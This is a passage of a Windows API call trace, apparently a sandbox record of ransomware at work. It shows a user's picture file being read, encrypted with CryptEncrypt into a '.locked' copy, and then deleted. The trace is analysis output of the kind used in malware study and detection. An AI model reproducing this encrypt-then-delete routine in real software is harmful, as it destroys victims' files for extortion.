(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.906] GetFileType (hFile=0x858) returned 0x1 [0135.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.906] GetFileType (hFile=0x858) returned 0x1 [0135.906] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.906] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.907] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.907] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.907] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.907] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", lpFilePart=0x0) returned 0x66 [0135.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.907] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.908] GetFileType (hFile=0x874) returned 0x1 [0135.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.908] GetFileType (hFile=0x874) returned 0x1 [0135.908] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.908] CryptGenRandom (in: hProv=0x4396a38, dwLen=0x10, pbBuffer=0x6a2aab4 | out: pbBuffer=0x6a2aab4) returned 1 [0135.908] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.908] CryptDuplicateKey (in: hKey=0x8e84c38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84978) returned 1 [0135.908] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.908] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x4, pbData=0x6a2bd70*=0x1, dwFlags=0x0) returned 1 [0135.908] CryptSetKeyParam (hKey=0x8e84978, dwParam=0x1, pbData=0x6a2bd3c, dwFlags=0x0) returned 1 [0135.908] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf480\x437\x242") returned 0x0 [0135.908] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.908] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.908] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.909] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.909] ReadFile (in: hFile=0x858, lpBuffer=0x6a2f2cc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a2f2cc*, lpNumberOfBytesRead=0x99ae7a8*=0x10786, lpOverlapped=0x0) returned 1 [0135.909] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a432d8*, pdwDataLen=0x99ae79c*=0x10780, dwBufLen=0x10780 | out: pbData=0x6a432d8*, pdwDataLen=0x99ae79c*=0x10780) returned 1 [0135.909] WriteFile (in: hFile=0x874, lpBuffer=0x6a2ab74*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a2ab74*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.910] WriteFile (in: hFile=0x874, lpBuffer=0x6a442c4*, nNumberOfBytesToWrite=0xf794, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a442c4*, lpNumberOfBytesWritten=0x99ae780*=0xf794, lpOverlapped=0x0) returned 1 [0135.911] ReadFile (in: hFile=0x858, lpBuffer=0x6a2f2cc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a2f2cc*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.911] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a53a7c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a53a7c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.911] CryptEncrypt (in: hKey=0x8e84978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a53ab0*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a53ab0*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.911] WriteFile (in: hFile=0x874, lpBuffer=0x6a2ab74*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a2ab74*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.912] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.912] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.912] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.912] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.912] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.913] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif")) returned 0x20 [0135.913] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.913] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.913] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.913] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.913] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.913] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.914] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.914] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.914] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.914] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.914] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.914] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.914] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.914] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.914] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.914] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.914] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.914] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.915] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.915] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.915] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.915] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.915] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.915] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.915] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.915] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.915] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.915] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.915] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.916] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif")) returned 0x20 [0135.916] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.916] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.916] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.916] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.916] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif\\", lpFilePart=0x0) returned 0x60 [0135.916] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.917] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.917] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.917] CoTaskMemFree (pv=0x8eb8930) [0135.918] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif")) returned 0x20 [0135.918] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.918] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.919] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif"), fInfoLevelId=0x0, lpFileInformation=0x6a7066c | out: lpFileInformation=0x6a7066c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x648363d0, ftCreationTime.dwHighDateTime=0x1d4ade7, ftLastAccessTime.dwLowDateTime=0xc3e82300, ftLastAccessTime.dwHighDateTime=0x1d4a8e3, ftLastWriteTime.dwLowDateTime=0xc3e82300, ftLastWriteTime.dwHighDateTime=0x1d4a8e3, nFileSizeHigh=0x0, nFileSizeLow=0x10786)) returned 1 [0135.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.919] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif")) returned 1 [0135.921] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.922] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.922] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.922] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, 